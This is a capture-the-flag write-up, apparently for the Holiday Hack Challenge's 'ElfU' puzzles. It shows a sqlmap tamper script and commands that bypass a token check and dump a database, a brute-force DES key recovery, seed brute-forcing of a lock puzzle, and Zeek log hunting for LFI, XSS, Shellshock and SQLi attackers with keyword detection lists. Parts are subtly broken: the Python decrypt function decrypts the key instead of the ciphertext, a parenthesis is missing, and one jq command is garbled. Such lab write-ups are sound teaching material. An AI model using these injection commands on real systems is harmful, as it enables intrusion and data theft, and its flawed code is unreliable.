There's a catch. We need to keep '&token=' decoded, but encode the rest. We can handle that in our tamper script!

import urllib3
from urllib.parse import quote

def tamper(payload, **kwargs):
    retVal = payload
    http=urllib3.PoolManager()
    token=http.request('GET',
        'https://studentportal.elfu.org/validator.php').data.decode('utf-8')

    retVal = quote(payload) + '&token=' + quote(token)
    return retVal

Using quote() we specifically URL encode the payload and the token, but leave our parameter name alone.

Our sqlmap command becomes this:

sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \
--tamper elfutamper/elfutamper.py --skip-urlencode

There are a couple questions we'll need to answer (which you may have encountered already in previous attemtps):

[14:10:26] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS are you sure that you want to continue with further target testing? [Y/n]

Y. "You bet your a** I wish to proceed." –Theo

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

The default 'Y' is good because there's no reason to waste time.

GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Good news! Our elfmail parameter is vulnerable, no need to continue. Sqlmap has conveniently saved this state for us, so further actions won't need to repeat the testing to find the vulnerable parameter again.

In fact, running the exact same command again just gives us the summary of our parameter and how it's vulnerable:

Using our saved state and known vulnerable parameter we can continue using sqlmap to enumerate the names of existing databases and dump the data. A couple additional few options will be used.

  --dbs               Enumerate DBMS databases
  --dump              Dump DBMS database table entries
  -D DB               DBMS database to enumerate
  --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \
--tamper elfutamper/elfutamper.py --skip-urlencode --dbs --threads=4

The --dbs flag will enumerate the databases for us while --threads will just help make it go faster.

Looks like we have two databases: elfu and information_schema.

sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \
--tamper elfutamper/elfutamper.py --skip-urlencode --dbs -D elfu --dump

We've added -D elfu as the database we want to dump data from and --dump to take that action.

Sqlmap spits out a lot of data as it enumerates the tables, but we caught those image names in the output. (If we had missed it, sqlmap will still store a copy in its local state.)

Those images can be directly accessed on the studentportal server:

https://studentportal.elfu.org/krampus/0f5f510e.png
https://studentportal.elfu.org/krampus/1cc7e121.png
https://studentportal.elfu.org/krampus/439f15e6.png
https://studentportal.elfu.org/krampus/667d6896.png
https://studentportal.elfu.org/krampus/adb798ca.png
https://studentportal.elfu.org/krampus/ba417715.png

Super Sled-o-matic.

We're not going to say that the background image looks like a giant tooth, but it totally does.

The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

For this objective, we found Ron Bowes's talk, "Reversing Crypto the Easy Way," to be quite informative.

We start by playing with the elfscrow.exe binary to see what it does. We downloaded a free test VM of Windows 10, not just because we don't have Windows installed, but it's always a good idea to execute "unknown" binaries in an isolated environment (though we do trust the HHC team). Running 'elfscrow.exe' the first time we can see a list of available options:

Well, we can't decrypt anything yet because we don't know the key, but perhaps encrypting our own file will lead to some information.

This gives us two very important pieces of information. First, the initial seed appears to be unix epoch time. If you run the process quickly in succession you'll get the same key. That doesn't mean it's the final seed, but it is a starting point. The second important point is that the key is only 8 bytes long. As a result of the 8-byte key, Ron tells us in his talk that there's a very good chance the encryption scheme uses DES.

Using the --insecure flag we can even see the secret ID being uploaded to the elfscrow server in clear text using Wireshark (just like the instructions warned us).

In fact, if attempt to upload the same thing twice, you will get a rejection from the elfscrow server:

At this point, we focus on a few specific goals:

For the next phase of the investigation we downloaded the free version of IDA. While loading the binary, IDA automatically detects the path where it's supposed to find the PDB debug file:

Since ours isn't in that location, we can just load the PDB file via the menu.

Strictly speaking we don't need the debugging information, but it's definitely easier when we can look for functions by name and see comments. Our goal is to figure out what happens when elfscrow.exe generates a new key, so we have to execute the program with the right options. IDA allows us to set those options:

We'll use the same options we used on the command line (–encrypt test.txt test.enc), but we haven't actually run the program yet.

Note that we aren't actually asking IDA to execute yet, just getting things ready.

Taking a quick look at the function names on the left we see generate_key right there! By clicking on the generate_key function name, IDA will bring up its process flow:

Let's look at generate_key() a little closer.

1. This is definitely where we want to be. First we can see where the Our miniature elves... line is printed to the console like we saw in our sample runs.
2. Here is the call to time() which gets stored in eax.
3. Normally we'd probably see a call to srand(), but instead we see super_secret_srand(). Let's click on that and take a look.
4. The last thing that happens before moving on is we set the local variable var_4 to 0. We'll come back to this later.

1. Not a whole lot here, but we can see Seed = %d\n\n get printed. We expected this from the initial output as well.

Of note is that super_secret_srand() didn't actually call srand(), but it's possible we'll see it later in the key generation (hot tip: we don't). At this point we know generate_key() still has unix time as its seed and we're expecting to see a printf() for Generated an encryption key....

To help us follow the code path, we're going to set a breakpoint and actually execute the program so we can step through each instruction. Going back to the generate_key() function, we set a break point right after the call to super_secret_srand():

The breakpoint was set by clicking on the line and then the breakpoint icon .

Now, for the first time in IDA, we'll execute the program by hitting the little green 'play' triangle.

The elfscrow.exe program will execute up to our breakpoint and stop.

At this point we can step through the program using these buttons:

Various uses of the step ability are useful to see how variables change without getting too bogged down in things like calls to printf().

At the end of generate_key() it splits off into a loop.

1. Remember when we set var_4 to 0? That is like setting i=0 and this cmp instruction is comparing var_4 (or i) to 8. jnb is just "jump if not below," or "jump if greater than or equal to."
2. This is the real meat of the key generation loop and the next thing we'll look at.
3. Continuing with our high level view, this is adding 1 to var_4. (ie, i++)
4. After we do that 8 times, the comparison will jump here and return the generated key.

1. A call to a super_secure_random() function that we'll dig into after this, but for now we just need to know that functions generally return their values into eax.
2. al refers to the least significant 8 bits of eax and movzx 'zero extends'(pads) the value with zeros to the full register size (32bits). So this moves the last 8 bits of what super_secure_random() gave us into ecx. This is important to note because we are basically throwing away the other 24 higher bits.
3. This instruction is doing a bitwise AND of ecx and the hex value 0xff (which is 11111111 in binary, so this also calculates the least significant 8 bits. This is redundant, and likely just a compiler inefficiency.
4. We first load our function argument arg_0, and then add the number of iterations through the loop (what we've been calling i) to that.
5. There's a difference between mov edx, cl and mov [edx], cl. When using square brackets, we're using edx as a pointer, and storing the value in the memory address it's pointing to.

Reference: http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html

In assembly, this looks very complex, but as we step through it, we realize all that's happening is:

void generate_key(char* key)
{
    // Generates a key, and stores it in the function argument
    for ( i = 0; i < 8; i++ )
        key[i] = super_secure_random & 0x77;
}

1. The debugging file references a global variable called state. That value has been copied into eax and here we multiply it by 0x343FD.
2. Then we add 0x269EC3.
3. At this point, we update our global variable with the new state, which we'll use during the next iteration.
4. sar means "shift arithmetic right" and 0x10 (decimal 16) is how far to shift. Just how shifting a decimal number to the right one place (e.g. 30 -> 3) we divide by 10, shifting binary to the right one place is equivalent to dividing by 2. If we do that 16 times, it's the same as dividing by 2^16 (65536).
5. This is a bitwise AND with 0x7FFF. (As it turns out, since we keep throwing away all but the last 8 bits each time through the loop, this instruction can be completely ignored. It's likely converting a signed integer to an unsigned one).

Ron suggested in his talk that Googling these values may turn up some additional information:

https://en.wikipedia.org/wiki/Linear_congruential_generator

As it turns out, the two hex numbers we see are the "multiplier" and "incrementer" from the rand() implementation for Microsoft Visual C.

uint32_t state;

int rand() {
    state = state * 214013 + 2531011;
    return (state >> 16) & 0x7fff;
}

With this, while a bit complicated, we have all of the information we need to re-create the seed as long as we know what time the file was encrypted. As we know from the objective introduction, "We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC." That gives us 7200 possible seconds that could be the intial time.

Next we need to focus on the cipher. Stepping through the program until generate_key() returns, we can see the call to CryptImportKey shortly after generate_key():

Aha! We suspected the cipher was DES, but this comment helps confirm not only DES, but CBC mode.

What about the initialization vector (IV)? Taking another tip from Ron, we do a lot of Googling. It would appear that we'd normally expect a call to CryptGenKey() and the Microsoft documentation says:

"If keys are generated for symmetric block ciphers, the key, by default, is set up in cipher block chaining (CBC) mode with an initialization vector of zero." https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenkey

Our generate_key() function replaced this and didn't include an IV either, so when reimplmenting it's safe to set the IV=0.

At this point we can reimplement the encryption scheme, but we need a way to know if we got it right. Fortunately, we know the encrypted file is a PDF. We could decrypt the whole file and try to open it (7200 times), or run 'file' against it, but there's a faster way. If we decrypt just the first few bytes we can match it against the known file signature for a PDF.

Reference: https://en.wikipedia.org/wiki/List_of_file_signatures

#!/usr/bin/env python

from Crypto.Cipher import DES
import datetime
import sys

pdf_filename = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf'

ciphertext_header = b'\x5d\xbd\xce\xdc\x49\x4a\x74\x43'

# A PDF always starts with:
plaintext_header = '%PDF-'

# We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
start_time = 1575658800
end_time = 1575666000

def generate_key(seed):
    """This just implements the assembly we've discovered so far.

    Takes a seed, returns a key as a bytestring."""

    result = b""

    for i in range(8):  # cmp [var_4], 8; jnb exit
        seed *= 0x343FD     # imul eax, 343FDh
        seed += 0x269EC3    # add eax, 269EC3h
                            # mov state, eax
        eax = seed          # mov eax, state
        eax /= 2**16        # sar eax, 10h
        r = chr(eax & 0xff) # and eax, 7FFFh
        result += r    # mov [arg_0 + var_4], eax

    return result

def decrypt(key, ciphertext):
    """Decrypts a ciphertext string, and returns the result"""
    iv = b'\x00\x00\x00\x00\x00\x00\x00\x00'
    decryptor = DES.new(key, DES.MODE_CBC, iv)
    return decryptor.decrypt(key)

for i in range(start_time, end_time):
    if decrypt(generate_key(i), ciphertext_header).startswith(plaintext_header):
        # At least the first few bytes are correct, so we'll try to decrypt our file.
        with open(pdf_filename + '.enc') as ciphertext:
            with open(pdf_filename, 'wb') as plaintext:
                plaintext.write(decrypt(generate_key(i), ciphertext.read())

        print("Successfully decrypted file (seed=%d), and saved to %s" % (i, pdf_filename))
        break

Now that we have the decrypted PDF, it's time to take a look.

On page three we read the following which will be useful later:

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

At this time we will also take a moment to point out a potential safety issue with the Super Sled-O-Matic (SSOM) installation instructions. The first suggested installation location is "Right side of sled under the flight abort ejector seat." As the large activation button on the SSOM needs to be held down for activation, there is a potential that someone reaching down could inadvertently activate the ejector seat. Especially if they are wearing a long sleeve coat with fluffy white cuffs.

This objective instructs us to:

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

Visiting Shinny lays out our challenge:

Once we solve the iptables terminal, Kent tells us:

Completing the Holiday Hack Trail on hard reveals the following in the source code of the victory screen:

<!--
1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney!  It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!
-->

Visiting the site from Shinny, we see 10 locks. At the top, it says:

I locked the crate with the villain's name inside. Can you get it out?

Since our hints from the Holiday Hack Trail are numbered 1-10, we assume each one is a hint to the respective lock.

Observing the HTTP response from opening the crate, we see:

Well done! Do you have what it takes to Crack the Crate in under three minutes?

Now that we know the drill, we're able to improve our time, just to see another challenge:

Very impressive!! But can you Crack the Crate in less than five seconds?

Five seconds is a tall order. At that point, we can't do it manually, and must use automation. We start studying the locks further, and design a plan. The codes are hidden across 4 resources:

1. The HTML page (print media, title, hologram, and font)
2. The stylesheet (chakras)
3. The javascript (console, local storage)
4. The image

Additionally, locks 8 and 10 (spoiled eggs and broken lock) always have the same codes.

The codes are discovered as follows:

1. The value printed to the console follows %c▋, after base64 and then hex-encoding it. We search client.js for that string, then extract our code.
2. Using BeautifulSoup to parse the HTML: soup.find("div", {'class' : 'libra'}).find('strong')
3. We use PyTesseract to OCR the iamge: pytesseract.image_to_string(Image.open(BytesIO(s.get('https://' + domain + '/images/%s.png' % token).content)))
4. Search the Javascript for the base64-encoded version of the barrels (🛢️🛢️🛢️), and extract the string.
5. Last 8 of the title, soup.find('title').decode_contents()[-8:]
6. The characters in the hologram are always in the same order [3, 0, 4, 6, 5, 2, 7, 1]. Use BeautifulSoup to extract the characters: soup.find("div", {'class': 'hologram'}).find('div').children
7. Find the style, and extract the code: soup.find('style').decode_contents().split("'")[1]
8. VERONICA
9. Parse the CSS, with something like: if line.startswith(" content:"): result += line.split("'")[1].
10. KD29XJ37

With this script, we're able to complete it in a couple hundred milliseconds:

At this point, we do a few iterations of optimization on our code.

To minimize network latency, we use a Google Compute instance in the same GCE zone.

We're using the Python Requests library, and switch to Session Objects, which will persist the same HTTP connection across multiple requests.

To improve SSL performance, we force the use of ECDH+AES256, which should be the fastest option offered by the server.

At this point, most of the execution time is within our Python code. We have several requests back and forth to the server, so we introduce artificial delays at each step, and run a few tests to determine when exactly the server thinks that we started and stopped our attempt. We discover that we only start the attempt upon downloading the Javascript file, so we move to performing everything except for locks 1 and 4 first, fetching the Javascript, and then submitting our answers. Most importantly, our OCR no longer counts against us, as this was the biggest contributor.

We downloaded the Javascript file 1000 times, and noticed that roughly 3% of the time, we received a file that was the same size. In these files, the offsets of the codes to the locks were at consistent locations. So, we changed our code to only make an attempt when the JS file was of this size, using the specific offsets, and avoid two operations that search the contents of the file.

The final steps we take to improve the performance are to use the Python multiprocessing module to parallelize our requests to unlock locks 1 and 4, and to compile our code via Cython.

After all this, we're able to drop under the 100ms mark:

At this point, our automated solution runs almost 4 times faster than our initial attempt.

After all this work, we identified a logic error in the code which made it much easier. It turns out that we only needed to solve one lock, and not all 10. Our final code looks like this:

#!/usr/bin/env python3

from multiprocessing import Barrier, Process
import requests
import uuid

domain = 'sleighworkshopdoor.elfu.org'

def start(seed, synchronizer):
    """Download the Javascript to start our timer."""

    s = requests.Session()

    # Wait for the other function
    synchronizer.wait()

    # HEAD request because we don't actually need the contents
    s.head('https://' + domain + '/client.js/' + seed)

def stop(seed, synchronizer):
    """Submit our answer to stop the timer."""

    data = {'seed': seed, 'codes': {'8': "VERONICA"}}

    s = requests.Session()

    # Wait for the other function
    synchronizer.wait()

    result = s.post('https://' + domain + '/open', json=data)
    print(result.content)

def main():
    # Pick a random UUID
    seed = str(uuid.uuid4())

    # Run start and stop, simultaneously
    synchronizer = Barrier(2)
    Process(target=start, args=(seed, synchronizer)).start()
    Process(target=stop, args=(seed, synchronizer)).start()

    print("Image is at https://" + domain + "/images/scores/" + seed + ".jpg")


if __name__ == '__main__':
    main()

This function attempts to start and stop the timer as close together as possible. We only submit the value of one of the locks, and it's one that always stays the same, so no computation is needed.

Early on, we noticed this commented-out Javascript snippet when visiting https://sleighworkshopdoor.elfu.org:

const getTestFlag = seed => {
    const chance = new Chance(seed);
    chance.string({
        length: 8,
        pool: 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',
    });
}

We were confused as to why this was here, and thought that maybe it was left over from testing the challenge. Later on, we realized that by supplying the UUID as the seed, this snippet would generate the code in the image that was fetched but never shown.

We knew that to validate a certain code, we needed to supply the server the UUID, and which lock the code was for. We thought it likely that the getTestFlag function was used for the other codes, just with a different seed. We also thought it likely that those seeds were tied to the UUID, as everything in this challenge seemed to stem from the one UUID.

We wrote a script to brute-force the seed. We manually solved the challenge, and presented the valid codes and UUID to the script. After about 20 seconds, we saw:

$ node token_brute.js
Found seed for QO27M4Q2 (lock 3) 7b5a647b-1b41-4973-bc38-4472c3ee484a
Found seed for YP68TGPC (lock 4) 7b5a647b-1b41-4973-bc38-4472c3ee484a_ls
Found seed for QSE47ABU (lock 7) 7b5a647b-1b41-4973-bc38-4472c3ee484a_font

Success! We let it run for another hour, and didn't get anywhere, though. But, we could easily identify a pattern, and it was time to refine our search.

We expanded all the hints, and saved the crate webpage, then used grep to generate a wordlist: egrep -o '[a-zA-Z]+' crate.html | sort | uniq > wordlist. A script that iterated through this list was able to find the other seeds almost immediately:

$ node token_wordlist.js
Found seed for D6OQJZLR (lock 9) 7b5a647b-1b41-4973-bc38-4472c3ee484a_chakras
Found seed for F0STIHB8 (lock 1) 7b5a647b-1b41-4973-bc38-4472c3ee484a_console
Found seed for 7S4L7YC1 (lock 6) 7b5a647b-1b41-4973-bc38-4472c3ee484a_hologram
Found seed for U7VX636E (lock 2) 7b5a647b-1b41-4973-bc38-4472c3ee484a_print
Found seed for XVK9EIF5 (lock 5) 7b5a647b-1b41-4973-bc38-4472c3ee484a_title

Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Submit the Route ID ("RID") success value that you're given.

According to the objective, we need to identify the bad IPs and then block those using the firewall. Clearly we need access to the SRF server and there may be more clues within so that will be our initial focus. The intro to the iptables terminal told us:

Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.

Also, recall from Objective 10 we decrypted a secret PDF. Contained in that document are a ton of details about the Sled-O-Matic, but also the following line:

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

There's no git server that we can find, but perhaps we can get lucky. In the http.log, we notice a successful request for README.md, and find https://srf.elfu.org/README.md. Contained within are the exceptionally good default credentials to SRF:

admin 924158F9522B3744F5FCD4D10FAC4356

Not only do we have access to the required firewall, but we have API documentations as well. Unfortunately, the current weather map makes it clear the climate change is real and we should all be very concerned.

Similar to the previous termimal challenge, we use jq to parse the JSON log format:

$ cat http.log | jq '.[] | select(.uri|test("README.md")) | .uri,.["id.orig_h"],.user_agent,.status_code'
 "/README.md"
 "42.103.246.130"
 "Mozilla/4.0 (compatible;MSIe 7.0;Windows NT 5.1)"
 200

There are a couple things of note here. The most concerning is that someone else potentially obtained the same default credentials we did. Secondly, the user_agent has "MSIe" with the wrong capitalization.

Let's look at what else that src IP did:

$ cat http.log | jq '.[] | select(.["id.orig_h"]|test("42.103.246.130")) | .uri,.status_code'
 "/README.md"
 200
 "/api/login"
 200
 "/home.html"
 200
 "/.git/HEAD"
 404

Uh oh. README.md -> /api/login -> home.html. That's almost certainly a bad actor. A normal user going to the SRF portal would download the index which also grabs the title image, css, and javascript files. Going directly from the README file to the /api/login endpoint is very suspicious. Given the incorrect user_agent, we can pivot on that as well:

$ cat http.log | jq "/api/weather?station_id=1' UNION SELECT NULL,NULL,NULL--"
 200
 "/README.md"
 200
 --8<--snip--8<--

Looks like they tried an SQL injection as well. If this were a real incident investigation we might consider this to be the attacker's originating IP when they were manually probing the system.

While poking around at the logs we took a few notes of patterns that might be interesting later. We also noted that odd things only appeared in uri, user-agent, and host fields.

/etc/passwd
SELECT
UNION
<script>
ssrf
login.cgi
gitweb
-r nessus
/cgi-bin/c99shell.php
bash

This was a tricky objective. We tend to be more agressive with our definition of what's bad. For example, if we look at just potential scanners looking for .php files we get 1699 IPs. We know from the objective that we're only looking for 100.

Going back to the instructions we reduce our concept of 'bad' and focus only on the four types of attacks (LFI, XSS, Shellshock, SQLi).

Looking for Local File Inclusion (LFI) first, we search for "../" in the uri as a classic identifier for LFI attempts.

$ cat http.log | jq '.[] | select(.uri|test("\\.\\./")) | .uri'

This gives four results that all refer to 'etc/passwd.' Given how common that might be as a target file, we'll shift slightly and look for 'etc/passwd' instead:

$ cat http.log | jq '.[] | select(.uri|test("etc/passwd")) | .uri'

Excellent, 11 results this time.

For XSS, we look for the existence of "<script" in the uri, but we also found a few in the host field

$ cat http.log | jq '.[] | select(.uri|test("<script")) | .["id.orig_h"],.uri'
$ cat http.log | jq '.[] | select(.host|test("<script")) | .["id.orig_h"],.host'

Between the two we get 16 more IPs we can classify as bad.

The Shellshock attack was an attempt to inject shell commands into HTTP headers. We started poking around with searches for 'bash' or 'bin/sh'. In the end we settled on 'bin/' as it seems to find all six IPs we've identified attempting Shellshock.

$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .["id.orig_h"],.user_agent'

That's 6 more.

Looking for SQLi was fairly straightforward and returned the biggest number of results for attacker IPs. We found 'SELECT' in both the user_agent and uri fields:

$ cat http.log | jq '.[] | select(.uri|test("SELECT")) | .["id.orig_h"]' | wc -l
      16
$ cat http.log | jq '.[] | select(.user_agent|test("SELECT")) | .["id.orig_h"]' | wc -l
       9

There were also several examples with lowercase 'select' and 'Select' but these were not injection attempts.

With these 25, our total number of attacking IPs is 58.

Wunhorse gave us the following hint:

Looking at a few of our bad IPs and all of the fields in those logs entries, the first thing that stands out is the user_agent fields:

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="84.147.231.129") |.uri,.user_agent'
 "/api/weather?station_id=<script>alert('automatedscanning');</script>"
 "Mozilla/4.0 (compatible; Metasploit RSPEC)"

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="187.178.169.123") |.uri,.user_agent'
 "/api/login?id=/../../../../../../../../../etc/passwd"
 "Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)"

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="9.206.212.33") |.uri,.user_agent'
 "/api/weather?station_id=/etc/passwd"
 "Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1"

"Metasploit" is obviously suspicious, but the other two examples are a bit more subtle with their misspellings: "MSSIE" and "MSIE 666.0." Recall we were also able to pivot on the user_agent of the original attacker IP, so this looks promising.

$ cat http.log | jq '.[] | select(.user_agent|test("Metasploit")) |.uri,.["id.orig_h"]'
 "/PEAR.pdf"
 "203.68.29.5"
 "/api/weather?station_id=<script>alert('automatedscanning');"
 "84.147.231.129"

$ cat http.log | jq '.[] | select(.user_agent|test("MSSIE")) |.uri,.["id.orig_h"]'
 "/api/weather?station_id=*"
 "226.240.188.154"
 "/api/login?id=/../../../../../../../../../etc/passwd"
 "187.178.169.123"

$ cat http.log | jq '.[] | select(.user_agent|test("666.0")) |.uri,.["id.orig_h"]'
 "/api/weather?station_id=/etc/passwd"
 "9.206.212.33"
 "/css/freelancer.min.css"
 "42.16.149.112"

Interesting. Each suspicious user_agent is only used one other time. While we did go through these by hand the first time, this is also where automation can come in. The only exception to this is the original attacking IP of 42.103.246.130. Rather than searching manually using jq, we implemented our search strings and user_agent pivoting using Python3. Running this gives us 94 unique IPs that we think are bad. It also gave us the opportunity to print out all of the 'bad' user_agents.

python3 obj12-incomplete.py | wc -l
       94

List of misspelled or otherwise suspicious user_agents:

HttpBrowser/1.0
Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1)
Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0)
Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N
Mozilla/4.0 (compatible; Metasploit RSPEC)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) ApleWebKit/525.13 (KHTML, like Gecko) chrome/4.0.221.6 safari/525.13
Mozilla/5.0 (compatible; Goglebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; MSIE 10.0; W1ndow NT 6.1; Trident/6.0)
Mozilla/4.0 (compatible; MSIEE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Tridents/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Mozilla/5.0 (Windows NT 6.1; WOW62; rv:53.0) Gecko/20100101 Chrome /53.0
Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tridents/4.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NETS CLR  1.1.4322)
Wget/1.9+cvs-stable (Red Hat modified)
Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1; Trident/4.0; .NET CLR 1.1.4322; )
Mozilla/5.0 (Windows NT 5.1 ; v.)
CholTBAgent
Mozilla/5.0 WinInet
RookIE/1.0
Mozilla/4.0 (compatible; MSIE 8.0; Windows_NT 5.1; Trident/4.0)
Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731
Opera/8.81 (Windows-NT 6.1; U; en)
Mozilla/5.0 Windows; U; Windows NT5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)
Mozilla/4.0 (compatible MSIE 5.0;Windows_98)
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 500.0)
Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 6.a; Windows NTS)
Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1
Mozilla/5.0 (Windows NT 10.0;Win64;x64)

The 94 bad IPs we now have are good enough to complete the objective, but the instructions tell us to block the 100 offending IPs, so we really want to find six more. Going back to our original set of bad IPs, we find another odd characteristic in the host field for our Shellshock attackers:

$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .host'
 "ssrf.elfu.org"
 "ssrf.elfu.org"
 "ssrf.elfu.org"
 "ssrf.elfu.org"
 "ssrf.elfu.org"
 "ssrf.elfu.org"

Misspelling of the host as well. If we pivot on that we get 12 IPs, 6 of which are new:

$ cat http.log | jq '.[] | select(.host|test("ssrf")) | .["id.orig_h"]' | wc -l
       12

Adding 'ssrf' to our search parameters in our Python script and a little tweak to the output to join it with commas, we have our 100 bad IPs.

python3 obj12.py
42.103.246.250,56.5.47.137,19.235.69.221,69.221.145.150,42.191.112.181,48.66.193.176,49.161.8.58,84.147.231.129,44.74.106.131,106.93.213.219,2.230.60.70,10.155.246.29,225.191.220.138,75.73.228.192,249.34.9.16,27.88.56.114,238.143.78.114,121.7.186.163,106.132.195.153,129.121.121.48,190.245.228.38,34.129.179.28,135.32.99.116,2.240.116.254,45.239.232.245,102.143.16.184,230.246.50.221,131.186.145.73,253.182.102.55,229.133.163.235,23.49.177.78,223.149.180.133,187.178.169.123,116.116.98.205,9.206.212.33,28.169.41.122,68.115.251.76,118.196.230.170,173.37.160.150,81.14.204.154,135.203.243.43,186.28.46.179,13.39.153.254,111.81.145.191,0.216.249.31,31.254.228.4,32.168.17.54,6.144.27.227,220.132.33.81,9.95.128.208,83.0.8.119,23.79.123.99,150.45.133.97,229.229.189.246,155.129.97.35,72.183.132.206,227.110.45.126,61.110.82.125,65.153.114.120,123.127.233.97,95.166.116.45,80.244.147.207,168.66.108.62,200.75.228.240,118.26.57.38,42.127.244.30,217.132.156.225,252.122.243.212,22.34.153.164,44.164.136.41,203.68.29.5,97.220.93.190,158.171.84.209,34.155.174.167,104.179.109.113,66.116.147.181,140.60.154.239,50.154.111.0,92.213.148.0,31.116.232.143,126.102.12.53,187.152.203.243,37.216.249.50,250.22.86.40,231.179.108.238,103.235.93.133,253.65.40.39,142.128.135.10,226.102.56.13,185.19.7.133,87.195.80.126,148.146.134.52,53.160.218.44,249.237.77.152,10.122.158.57,226.240.188.154,29.0.183.220,42.16.149.112,249.90.116.138,42.103.246.130

Pasting this into the firewall input on srf.elfu.org and clicking DENY will fix our bad weather readings and allow Santa to deliver presents.

#!/usr/bin/env python3

import json


def add_ua(my_dict, ua):
    """
    Sets/increments the count of how many times a user_agent has been seen

    Args:
        my_dict(dict): the dictionary you are using to track this
            user_agent
        ua(str): the user_agent seen

    Returns:
        my_dict(dict): key and value pairs of user_agent and count
    """
    if ua in my_dict:
        my_dict[ua] += 1
    else:
        my_dict[ua] = 1

    return my_dict


def search_json(my_json):
    """
    Look for bad things in the json fields

    Args:
        my_json(json): the json containing all the data

    Returns:
        All of these are a key and then a value of count thanks to add_ua()

        ua_dict(dict): all of the user_agents seen
        bad_ua_dict(dict): known bad user_agents
        bad_hosts(dict): known bad hosts
    """
    ua_dict = {}
    bad_ua_dict = {}
    bad_hosts = {}

    #                 Match       Fields
    bad_traffic = { "<script": ["uri", "user_agent", "host"], # XSS
                    "etc/passwd": ["uri", "user_agent", "host"], # LFI
                    "SELECT": ["uri", "user_agent", "host"], # SQLi
                    "ssrf": ["uri", "user_agent", "host"], # SSRF
                    "bin/": ["user_agent"], # Shellshock
                  }

    for obj in my_json:
        ua_dict = add_ua(ua_dict, obj["user_agent"])
        for bstr, fields in bad_traffic.items():
            for field in fields:
                if bstr in obj[field]:
                    # we'll be pivoting on user_agent
                    bad_hosts[obj["id.orig_h"]] = obj["user_agent"]
                    bad_ua_dict = add_ua(bad_ua_dict, obj["user_agent"])

    return ua_dict, bad_ua_dict, bad_hosts


def find_doubles(bad_ua_dict, ua_dict):
    """
    We noticed a pattern when manually pivoting on the known bad traffic.
    A 'bad' UA (fairly obvious mispellings, etc), would only be used one
    extra time

    Args:
        bad_ua_dict(dict): known bad user agents and their count

    Returns:
        final_bad_ua(list): our final list of bad IPs based on user_agent
    """
    final_bad_ua = []
    for bua in bad_ua_dict:
        if ua_dict[bua] == 2:
            final_bad_ua.append(bua)

    return final_bad_ua


def ua_pivot(my_json, bad_hosts, final_bad_ua):
    """
    Now that we have our known real bad UAs, we cycle back through the json

    Args:
        my_json(json): the json containing all the data
        bad_hosts(dict): known bad hosts
        final_bad_ua(list): our final list of bad IPs based on user_agent

    Returns:
        bad_hosts(dict): known bad hosts
    """
    for obj in my_json:
        if obj["user_agent"] in final_bad_ua:
